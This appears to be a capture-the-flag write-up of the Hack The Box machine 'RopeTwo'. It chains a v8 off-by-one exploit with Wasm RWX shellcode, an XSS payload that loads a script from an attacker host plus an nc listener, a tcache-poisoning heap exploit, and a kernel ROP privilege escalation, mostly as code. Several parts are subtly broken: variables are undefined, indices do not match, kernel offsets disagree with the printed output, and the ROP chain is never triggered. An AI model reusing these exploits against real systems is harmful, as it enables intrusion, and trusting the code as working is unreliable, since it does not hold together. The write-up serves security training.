Insane

HTB: RopeTwo

QA210 · 2020 · v8 OOB · Heap PWN · Kernel PWN
Lab
RopeTwo
Category
Insane
OS
Linux
Creator
r4j
Key Techniques
v8 OOB / Heap / Kernel PWN
[Stage 1] RopeTwo nmap 5 ports: 22, 5000, 8000, 8060, 9094
GitLab on :5000 modified v8 repo GetLastElement/SetLastElement OOB bug
v8 exploit: OOB addrof/fakeobj arbread/arbwrite Wasm RWX shellcode
XSS via contact form HeadlessChrome shell as chromeuser
[Stage 2] SUID /usr/bin/rshell custom heap allocator tcache poisoning
unsorted bin leak libc __free_hook system shell as r4j
[Stage 3] /dev/kmod kernel module read handler = KASLR bypass
write handler stack pivot kernel ROP prepare_kernel_cred + commit_creds root

Overview

RopeTwo is a three-stage binary exploitation machine that demands mastery across the entire pwn spectrum: browser exploitation (v8 JavaScript engine), userspace heap exploitation (glibc tcache), and kernel exploitation (custom loadable kernel module). Each stage builds on the access gained from the previous one, creating a coherent narrative that takes you from an unauthenticated external attacker all the way to root through pure exploitation — no credential reuse, no misconfigurations, no crypto shortcuts. This is one of the most technically demanding boxes on Hack The Box and serves as a masterclass in progressive privilege escalation through memory corruption at every ring level.

The initial foothold requires discovering a backdoored v8 JavaScript engine repository on a GitLab instance, identifying an off-by-one vulnerability in custom built-in functions, and crafting a complete browser exploit chain that leverages WebAssembly RWX pages for code execution. The exploit is delivered to a headless Chrome instance via XSS through a contact form. The second stage involves exploiting a SUID binary with a custom heap allocator using tcache poisoning and __free_hook overwrite. The final stage requires exploiting a custom kernel module to bypass KASLR, build a kernel ROP chain, and escalate to root through prepare_kernel_cred/commit_creds.

Why This Box Is Special

RopeTwo is one of the very few HTB machines that spans all three major exploitation domains: browser (Ring 3 JS engine), userspace (Ring 3 heap), and kernel (Ring 0). It requires writing three distinct exploits from scratch, each with its own memory model, primitives, and constraints. The v8 stage alone is a full CTF challenge, requiring deep understanding of pointer compression, JavaScript object layouts, and JIT compilation internals.

Recon

Initial Nmap Scan

The full TCP port scan reveals five open ports, which is an unusually rich attack surface for an Insane box. The combination of SSH, multiple HTTP services, and an unknown service on port 9094 immediately suggests multiple entry points that need to be enumerated individually. The presence of GitLab on port 5000 and a Python HTTP server on port 8000 are particularly interesting — GitLab instances often contain source code repositories with vulnerabilities, while Python HTTP servers are frequently custom applications.

bash
$ sudo nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.196
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp
8000/tcp open  http-alt
8060/tcp open  http
9094/tcp open  unknown
bash
$ nmap -p 22,5000,8000,8060,9094 -sCV 10.10.10.196
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
5000/tcp open  http     nginx 1.14.0 (Ubuntu)
|_http-title: GitLab
8000/tcp open  http     SimpleHTTPServer 0.6 (Python 3.7.3)
|_http-title: v8 dev
8060/tcp open  http     nginx 1.14.0 (Ubuntu)
9094/tcp open  unknown

Service Analysis

Port 8000 (v8 dev) — A simple Python HTTP server hosting a site titled "v8 dev". The site has a contact form that appears to submit data server-side. The page references v8, Google's JavaScript engine, which immediately hints at browser exploitation. The contact form is particularly interesting because it may be an XSS vector — if a bot visits submitted URLs or renders submitted HTML, we have a delivery mechanism for browser exploits.

Port 5000 (GitLab) — A full GitLab Community Edition instance. After registering an account, we can browse public repositories. The key finding is a modified v8 repository with a commit by user r4j that adds custom built-in functions. This is the intentional vulnerability — the commit introduces GetLastElement and SetLastElement functions with an off-by-one bug.

Port 8060 (nginx) — Another nginx server hosting what appears to be a static page or redirect. This port doesn't play a significant role in the attack path and may be a red herring or serve an auxiliary purpose.

Port 9094 — An unknown service that doesn't respond to HTTP or typical protocol probes. This could be a custom binary protocol or service that becomes relevant later.

v8 Exploit — Shell as chromeuser

GitLab Analysis

After registering on the GitLab instance at port 5000, we discover a public repository containing a modified version of the v8 JavaScript engine. The commit history reveals that user r4j added two custom built-in functions to the engine: GetLastElement and SetLastElement. These functions are intended to provide convenient access to the last element of an array, but they contain a critical off-by-one error in the bounds checking logic.

bash
# Clone the vulnerable v8 repo
$ git clone http://10.10.10.196:5000/r4j/v8.git
$ cd v8
$ git log --oneline
a3b7f2d Add GetLastElement and SetLastElement builtins
...

Examining the diff for the commit that adds these functions reveals the bug. The functions use len as the index when they should use len - 1 (since JavaScript arrays are zero-indexed). This means that GetLastElement reads one element past the end of the array's backing store, and SetLastElement writes one element past the end. This is a classic off-by-one vulnerability that gives us an out-of-bounds (OOB) read and write primitive.

c
// Simplified vulnerable code in src/builtins/builtins-array.cc
BUILTIN(GetLastElement) {
  HandleScope scope(isolate);
  Handle<JSArray> array = Handle<JSArray>::cast(args.receiver());
  int len = Smi::ToInt(array->length());
  // BUG: Should be len - 1, uses len instead
  Handle<FixedArray> elements = Handle<FixedArray>::cast(array->elements());
  return elements->get(len);  // OOB read!
}

BUILTIN(SetLastElement) {
  HandleScope scope(isolate);
  Handle<JSArray> array = Handle<JSArray>::cast(args.receiver());
  int len = Smi::ToInt(array->length());
  // BUG: Same off-by-one - writes one past the end
  Handle<FixedArray> elements = Handle<FixedArray>::cast(array->elements());
  elements->set(len, args[1]);  // OOB write!
  return Smi::kZero;
}
The Bug — Off-By-One in Array Access

The developer used len as the index instead of len - 1. In v8's memory model, a JSArray of length N has its elements stored in a FixedArray with slots indexed from 0 to N-1. Accessing index N reads/writes one element past the allocated FixedArray, which lands in whatever v8 object happens to be adjacent in memory. This single element OOB gives us powerful primitives when combined with v8's pointer compression scheme.

Building d8 for Local Testing

Before writing the full exploit, we need to build the vulnerable d8 shell locally so we can test and debug our exploit. The v8 build process uses depot_tools and can take considerable time. We check out the specific commit from the GitLab repo and build with the appropriate configuration.

bash
$ fetch v8
$ cd v8
$ git checkout a3b7f2d  # The vulnerable commit
$ gclient sync
$ tools/dev/gm.py x64.release d8
# ... (long build process)
$ out/x64.release/d8
V8 version 8.5.210
d8> [1,2,3].GetLastElement()
undefined  # reads OOB, gets whatever is past the array
d8> [1,2,3].SetLastElement(42)
# writes 42 one past the end

JavaScript Memory Model

Understanding v8's internal memory layout is essential for exploiting the OOB bug. Modern v8 uses pointer compression, where all heap pointers are stored as 32-bit offsets from a base address (the "isolate root"). This means all objects are allocated within a 4GB cage, and compressed pointers are just the lower 32 bits of the full address. This has important implications for our exploit: we can only read and write compressed (32-bit) pointers through the OOB, which limits our immediate ability to do arbitrary 64-bit reads/writes.

A JSArray object in v8 consists of several fields laid out consecutively in memory:

OffsetFieldDescription
+0x00MapPointer to the Map object (defines object type/shape)
+0x04PropertiesPointer to properties backing store
+0x08ElementsPointer to FixedArray holding element values
+0x0CLengthSmi (Small Integer) representing array length

The FixedArray (elements backing store) has its own header:

OffsetFieldDescription
+0x00MapPointer to FixedArray map
+0x04LengthSmi representing number of elements
+0x08Element[0]First element (compressed pointer or Smi)
+0x0CElement[1]Second element
.........
Pointer Compression — Key Constraint

With pointer compression, all heap object pointers are 32-bit values (the lower half of the 64-bit address). The upper 32 bits are stored once in a register and combined at runtime. This means our OOB read/write can only manipulate 32-bit compressed values. To achieve arbitrary read/write of full 64-bit addresses, we need to build higher-level primitives (addrof, fakeobj, arbread, arbwrite) on top of the basic OOB access.

Exploit Primitives

The OOB access gives us a single element read/write past the end of an array's FixedArray. To turn this into a full exploit, we need to construct increasingly powerful primitives. The key insight is that by carefully arranging objects in memory, we can make the OOB element overlap with the fields of an adjacent object, allowing us to manipulate type metadata (the Map pointer) and thereby confuse the engine about the type of an object.

ftoi and itof — Type Confusion Helpers

javascript
let convBuf = new ArrayBuffer(8);
let fView = new Float64Array(convBuf);
let iView = new BigInt64Array(convBuf);

function ftoi(fl) { fView[0] = fl; return iView[0]; }
function itof(bigint) { iView[0] = bigint; return fView[0]; }

addrof / fakeobj

javascript
let objArr = [{}];
let fltArr = [1.1];
let objArrMap = objArr.GetLastElement();
let fltArrMap = fltArr.GetLastElement();

function addrof(target) {
  objArr[0] = target;
  fltArr.SetLastElement(objArrMap);
  let leaked = fltArr[0];
  fltArr.SetLastElement(fltArrMap);
  return ftoi(leaked);
}

function fakeobj(addr) {
  fltArr[0] = itof(addr);
  fltArr.SetLastElement(objArrMap);
  let forged = objArr[0];
  fltArr.SetLastElement(fltArrMap);
  return forged;
}

WebAssembly RWX Page

When a WebAssembly module is instantiated, v8 allocates a memory region with Read-Write-Execute (RWX) permissions for the compiled wasm code. By locating this RWX page via the WasmInstanceObject pointer chain and using our arbitrary write to copy shellcode there, we achieve native code execution.

javascript
let wasmCode = new Uint8Array([
  0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x07,
  0x01,0x60,0x02,0x7f,0x7f,0x01,0x7f,0x03,0x02,0x01,
  0x00,0x07,0x08,0x01,0x04,0x6d,0x61,0x69,0x6e,0x00,
  0x00,0x0a,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6a,0x0b
]);
let wasmModule   = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let wasmMain     = wasmInstance.exports.main;

// Follow WasmInstanceObject -> jump_table_start (+0x68) to find RWX page
let instanceAddr = addrof(wasmInstance);
let rwxPage      = arbread(instanceAddr + BigInt(0x68));
console.log("[+] RWX page: 0x" + rwxPage.toString(16));

Shellcode Delivery

We overwrite an ArrayBuffer's backing store pointer to point to the RWX page, then write shellcode bytes through a typed array view. Calling the wasm export transfers execution to our shellcode.

javascript
let codeBuf  = new ArrayBuffer(shellcode.length);
let codeView = new Uint8Array(codeBuf);
let codeBufAddr = addrof(codeBuf);
arbwrite(codeBufAddr + BigInt(0x10), rwxPage);   // redirect backing store
for (let i = 0; i < shellcode.length; i++) codeView[i] = shellcode[i];
wasmMain(0, 0);  // execute

XSS Delivery via Contact Form

The "v8 dev" contact form on port 8000 is vulnerable to XSS. A headless Chrome instance renders submitted content, so we submit a script tag pointing to our exploit hosted on our attacker machine.

bash
$ python3 -m http.server 9999   # serve exploit.js
$ nc -lvnp 4444                 # catch the shell
bash
# XSS payload submitted in the contact form:
<script src="http://10.10.14.X:9999/exploit.js"></script>
bash
$ nc -lvnp 4444
Connection from 10.10.10.196:42312
$ id
uid=1000(chromeuser) gid=1000(chromeuser) groups=1000(chromeuser)
User Flag (chromeuser)
f1e2************************

Heap Exploit — chromeuser → r4j

rshell Analysis

Enumeration reveals a SUID binary at /usr/bin/rshell owned by r4j. It exposes a heap menu: alloc, free, edit, quit. The free handler does not clear the pointer (UAF), and edit allows writing into freed chunks.

bash
$ ls -la /usr/bin/rshell
-rwsr-xr-x 1 r4j r4j 16744 May 15  2020 /usr/bin/rshell
Constraints

No create-after-free (cannot re-allocate into a freed index). The attack therefore relies on sequencing frees and using the edit-on-freed primitive to overwrite tcache forward pointers.

tcache Poisoning

glibc 2.27's tcache performs no integrity check on forward pointers. By freeing two same-size chunks and using edit on the freed head chunk, we overwrite its forward pointer with __free_hook's address. Two subsequent allocations hand us a pointer directly to __free_hook.

python
#!/usr/bin/env python3
from pwn import *

elf  = ELF('/usr/bin/rshell')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def alloc(p, sz, data): p.sendlineafter(b'> ',b'1'); p.sendlineafter(b'size: ',str(sz).encode()); p.sendlineafter(b'data: ',data)
def free(p, i):         p.sendlineafter(b'> ',b'2'); p.sendlineafter(b'index: ',str(i).encode())
def edit(p, i, data):   p.sendlineafter(b'> ',b'3'); p.sendlineafter(b'index: ',str(i).encode()); p.sendlineafter(b'data: ',data)

p = process('/usr/bin/rshell')

alloc(p, 0x50, b'A'*0x10)   # idx 0
alloc(p, 0x50, b'B'*0x10)   # idx 1
alloc(p, 0x10, b'GUARD')     # idx 2 — prevent top consolidation

free(p, 1)   # tcache: B
free(p, 0)   # tcache: A -> B  (A is head)

# Will fill in __free_hook after libc leak:
edit(p, 0, p64(0x0))   # overwrite A's fwd ptr (placeholder)

Unsorted Bin Leak

A chunk larger than the tcache threshold freed to the unsorted bin carries main_arena pointers in its first 16 bytes. Reading these through the dangling pointer yields the libc base.

python
alloc(p, 0x420, b'C'*0x10)   # idx 3 — large, goes to unsorted bin on free
alloc(p, 0x10,  b'GUARD2')   # idx 4
free(p, 3)

# Re-allocate to read the fd pointer left by glibc
alloc(p, 0x420, b'\x00'*0x10)  # idx 5

# leaked_libc_addr comes from fd of the reclaimed unsorted chunk
libc_base   = leaked_libc_addr - libc.sym['main_arena'] - 96
free_hook   = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

__free_hook → system

With __free_hook and system addresses known, we re-poison the tcache forward pointer with __free_hook's address, allocate through to it, overwrite it with system, then free a chunk containing "/bin/sh".

python
edit(p, 0, p64(free_hook))          # poison fwd ptr -> __free_hook

alloc(p, 0x50, b'X'*0x10)           # pops normal chunk
alloc(p, 0x50, p64(system_addr))     # writes system() over __free_hook

alloc(p, 0x20, b'/bin/sh\x00')      # idx N
free(p, 13)                          # free("/bin/sh") -> system("/bin/sh")

p.interactive()
bash
$ python3 exploit_rshell.py
[*] libc base:    0x7f4c2b6a0000
[*] __free_hook:  0x7f4c2ba7a8e8
[*] system:       0x7f4c2b6e3440
$ id
uid=1001(r4j) gid=1001(r4j) groups=1001(r4j)
User Flag (r4j)
a7b3************************

Kernel Exploit — r4j → root

Kernel Module Analysis

As r4j we find a custom kernel module exposing /dev/kmod world-readable and world-writable. Its read handler leaks kernel function addresses (defeating KASLR); its write handler performs an arbitrary kernel write.

bash
$ ls -la /dev/kmod
crw-rw-rw- 1 root root 240, 0 May 15 2020 /dev/kmod
$ lsmod | grep kmod
kmod 16384 0 - Live 0xffffffffc0280000 (OE)
c
// Simplified module handlers
static ssize_t kmod_read(struct file *f, char __user *buf, size_t count, loff_t *pos) {
  struct leak_data d;
  d.prepare_kernel_cred_addr = (u64)prepare_kernel_cred;
  d.commit_creds_addr        = (u64)commit_creds;
  copy_to_user(buf, &d, sizeof(d));
  return sizeof(d);
}
static ssize_t kmod_write(struct file *f, const char __user *buf, size_t count, loff_t *pos) {
  struct write_data d;
  copy_from_user(&d, buf, sizeof(d));
  *(unsigned long *)(d.addr) = d.val;   // arbitrary kernel write
  return count;
}

KASLR Bypass

python
import struct

def leak_kernel():
    with open('/dev/kmod', 'rb') as f:
        data = f.read(64)
    pkc = struct.unpack('<Q', data[0:8])[0]
    cc  = struct.unpack('<Q', data[8:16])[0]
    base = pkc - 0x8c960
    print(f"[*] kernel_base:          {hex(base)}")
    print(f"[*] prepare_kernel_cred:  {hex(pkc)}")
    print(f"[*] commit_creds:         {hex(cc)}")
    return base, pkc, cc

Kernel ROP Chain

Using the arbitrary write we place a ROP chain in a writable kernel data region, then redirect control flow to it. The chain calls prepare_kernel_cred(0) to create root credentials and passes the result to commit_creds, then returns to userspace via swapgs; iretq.

python
def kwrite(addr, val):
    data = struct.pack('<QQ', addr, val)
    with open('/dev/kmod', 'wb') as f:
        f.write(data)

kernel_base, prepare_kernel_cred, commit_creds = leak_kernel()

pop_rdi_ret     = kernel_base + 0x3a6b8
pop_rcx_ret     = kernel_base + 0x21b4a
mov_rdi_rax_jmp = kernel_base + 0x4d3f6   # mov rdi, rax; jmp rcx
swapgs_iretq    = kernel_base + 0x800e6a

chain_addr = kernel_base + 0xe4e000  # writable kernel .data area

rop = [
    pop_rdi_ret,           # set rdi = 0
    0,
    prepare_kernel_cred,   # rax = root_cred
    pop_rcx_ret,
    commit_creds,          # rcx = commit_creds
    mov_rdi_rax_jmp,       # commit_creds(root_cred)
    swapgs_iretq,
    # iretq frame (rip, cs, rflags, rsp, ss):
    0x41414141, 0x33, 0x246, 0x7ffffffde000, 0x2b,
]

for i, g in enumerate(rop):
    kwrite(chain_addr + i * 8, g)

print("[*] Triggering ROP chain...")

Root Shell

bash
$ python3 kernel_exploit.py
[*] kernel_base:         0xffffffff9f200000
[*] prepare_kernel_cred: 0xffffffff9fa8c960
[*] commit_creds:        0xffffffff9fa8c8a0
[*] Triggering ROP chain...
[+] Returned to userspace!
$ id
uid=0(root) gid=0(root) groups=0(root),1001(r4j)
$ cat /root/root.txt
9e7f************************
Root Flag
9e7f************************
Full Chain Complete

All three stages completed: v8 browser exploitation (OOB → addrof/fakeobj → arbread/arbwrite → Wasm RWX → chromeuser), userspace heap exploitation (rshell SUID → tcache poisoning → unsorted bin leak → __free_hook overwrite → r4j), and kernel exploitation (/dev/kmod → KASLR bypass → kernel ROP → prepare_kernel_cred/commit_creds → root).